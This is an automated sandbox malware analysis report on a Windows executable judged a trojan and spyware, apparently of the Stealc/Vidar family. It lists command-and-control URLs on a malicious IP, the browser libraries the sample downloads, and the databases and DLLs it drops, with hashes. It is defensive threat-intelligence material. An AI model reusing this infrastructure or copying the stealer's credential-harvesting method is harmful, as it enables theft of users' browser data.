http://45.200.148.113	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D51000.00000004.00000020.00020000.00000000.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003EE4000.00000040.00000020.00020000.00000000.sdmp	false		unknown
http://45.200.148.113/2a5dc88bed850cdd/nss3.dll4	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	FHDAFIID.0.dr	false	URL Reputation: safe	unknown
https://ac.ecopnacl	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.200.148.113/0a616124ff2f2b69.phpnomi	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17381	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003D73000.00000040.00000020.00020000.00000000.sdmp	false		unknown
http://45.200.148.113DHJJ	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003EE4000.00000040.00000020.00020000.00000000.sdmp	false		unknown
http://45.200.148.113/0a616124ff2f2b69.phpem	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.200.148.113/0a616124ff2f2b69.phpp	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.200.148.113/0a616124ff2f2b69.phpq	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.200.148.113/7	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1958323593.0000000028862000.00000004.00000020.00020000.00000000.sdmp, 4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp, BAEBGCFIEHCFIDGCAAFB.0.dr	false	URL Reputation: safe	unknown
http://www.usb-over-network.com?rf=usbnetclient&ver=6.0.6usbclienthelp.chmhttp://www.usb-over-networ	4c469e2cf403fea6249e835ddce23de2.exe	false		unknown
http://45.200.148.113/0a616124ff2f2b69.phpm	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.200.148.113/2a5dc88bed850cdd/nss3.dll(	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.200.148.113/2a5dc88bed850cdd/vcruntime140.dll1	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org	EGCBFIEHIEGCAAAKKKKEGDHJDH.0.dr	false	URL Reputation: safe	unknown
http://45.200.148.113/0a616124ff2f2b69.phpus.wallet	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.200.148.113/2a5dc88bed850cdd/softokn3.dllB	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://45.200.148.113/0a616124ff2f2b69.phpBGCFIEHCFIDGCAAFB	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D7B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ac.ecop	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1939639884.0000000001D96000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	FHDAFIID.0.dr	false	URL Reputation: safe	unknown
http://45.200.148.113/0a616124ff2f2b69.phption:	4c469e2cf403fea6249e835ddce23de2.exe, 00000000.00000002.1940177043.0000000003EE4000.00000040.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
45.200.148.113	unknown	Seychelles		328608	Africa-on-Cloud-ASZA	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1523165
Start date and time:	2024-10-01 07:50:02 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	4c469e2cf403fea6249e835ddce23de2.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/22@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 55% Number of executed functions: 9 Number of non-executed functions: 265
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Reached maximum number of file to list during submission archive extraction
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
Africa-on-Cloud-ASZA	https://polap77.com/	Get hash	malicious	HTMLPhisher	Browse	45.194.53.81
	http://9bet938.com/	Get hash	malicious	Unknown	Browse	45.194.36.12
	http://bet89533333.com/	Get hash	malicious	Unknown	Browse	45.194.36.61
	https://app-tiktokshop.com/wap/	Get hash	malicious	Unknown	Browse	45.194.36.112
	http://app-tiktokshop.com/	Get hash	malicious	Unknown	Browse	45.194.36.112
	Sept order.doc	Get hash	malicious	FormBook	Browse	45.194.53.13
	F4IESD5Mro.exe	Get hash	malicious	Go Injector, Stealc	Browse	45.200.149.47
	jade.spc.elf	Get hash	malicious	Mirai	Browse	45.206.90.67
	6014a1292ea7f2c9ae0188c9b6741380d7d48aad79913.exe	Get hash	malicious	Stealc, Vidar	Browse	45.200.149.45
	nIl2wyif6Q.elf	Get hash	malicious	Unknown	Browse	156.241.3.228

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	6JA2YPtbeB.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	hTR7xY0d0V.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	N83LFtMTUS.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	KKv1n1E6k9.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BAEBGCFIEHCFIDGCAAFB

Download File

Process:	C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\CFIEBKEHCAKFCBFIDAAKJDAAFC

Download File

Process:	C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DHCAAEBKEGHJKEBFHJDBFCFBKK

Download File

Process:	C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGCBFIEHIEGCAAAKKKKEGDHJDH

Download File

Process:	C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHDAFIID

Download File

Process:	C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDBKKKKKFBGDGDHIDBGH

Download File

Process:	C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JEHDHIEG

Download File

Process:	C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFCBAEHCAEGDHJKFHJKF

Download File

Process:	C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 6JA2YPtbeB.exe, Detection: malicious, Browse Filename: hTR7xY0d0V.exe, Detection: malicious, Browse Filename: N83LFtMTUS.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: KKv1n1E6k9.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\4c469e2cf403fea6249e835ddce23de2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll

Download File

